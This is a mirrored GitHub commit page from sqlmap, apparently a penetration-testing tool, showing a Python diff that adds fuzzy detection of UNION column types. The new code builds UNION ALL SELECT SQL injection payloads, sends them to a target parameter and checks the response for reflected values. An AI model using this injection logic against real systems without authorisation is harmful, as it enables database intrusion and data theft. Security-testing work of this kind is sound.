mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-07 05:01:30 +00:00
Adding support for FrontBase
This commit is contained in:
@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import itertools
|
||||
import logging
|
||||
import random
|
||||
import re
|
||||
@@ -12,6 +13,7 @@ import re
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import average
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import isNullValue
|
||||
from lib.core.common import listToStrValue
|
||||
from lib.core.common import popValue
|
||||
@@ -29,9 +31,13 @@ from lib.core.compat import xrange
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import FUZZ_UNION_COLUMN
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
||||
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
||||
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
||||
from lib.core.settings import MAX_RATIO
|
||||
from lib.core.settings import MIN_RATIO
|
||||
@@ -171,6 +177,36 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
||||
|
||||
return retVal
|
||||
|
||||
def _fuzzUnionCols(place, parameter, prefix, suffix):
|
||||
retVal = None
|
||||
|
||||
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
|
||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||
|
||||
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
||||
random.shuffle(choices)
|
||||
|
||||
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
||||
if retVal:
|
||||
break
|
||||
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
||||
continue
|
||||
else:
|
||||
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
||||
|
||||
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
||||
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
|
||||
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||
|
||||
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
|
||||
for column in candidate:
|
||||
if column.startswith("'") and column.strip("'") in (page or ""):
|
||||
retVal = [(_ if _ != column else "%s") for _ in candidate]
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
||||
validPayload = None
|
||||
vector = None
|
||||
@@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
||||
if content and phrase in content:
|
||||
validPayload = payload
|
||||
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
|
||||
|
||||
if where == PAYLOAD.WHERE.ORIGINAL:
|
||||
# Prepare expression with delimiters
|
||||
@@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
||||
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
|
||||
|
||||
if not all(_ in content for _ in (phrase, phrase2)):
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||
elif not kb.unionDuplicates:
|
||||
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
|
||||
|
||||
@@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
||||
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
|
||||
warnMsg = "output with limited number of rows detected. Switching to partial mode"
|
||||
logger.warn(warnMsg)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||
|
||||
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
|
||||
|
||||
@@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
||||
vector = None
|
||||
orderBy = kb.orderByColumns
|
||||
uChars = (conf.uChar, kb.uChar)
|
||||
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
|
||||
|
||||
# In case that user explicitly stated number of columns affected
|
||||
if conf.uColsStop == conf.uColsStart:
|
||||
count = conf.uColsStart
|
||||
else:
|
||||
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
|
||||
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)
|
||||
|
||||
if count:
|
||||
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
|
||||
|
||||
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
|
||||
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
|
||||
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
||||
if kb.fuzzUnionTest is None:
|
||||
msg = "do you want to (re)try to find proper "
|
||||
msg += "UNION column types with fuzzy test? [y/N] "
|
||||
|
||||
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
|
||||
if kb.fuzzUnionTest:
|
||||
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
||||
|
||||
warnMsg = "if UNION based SQL injection is not detected, "
|
||||
warnMsg += "please consider "
|
||||
|
||||
|
||||
Reference in New Issue
Block a user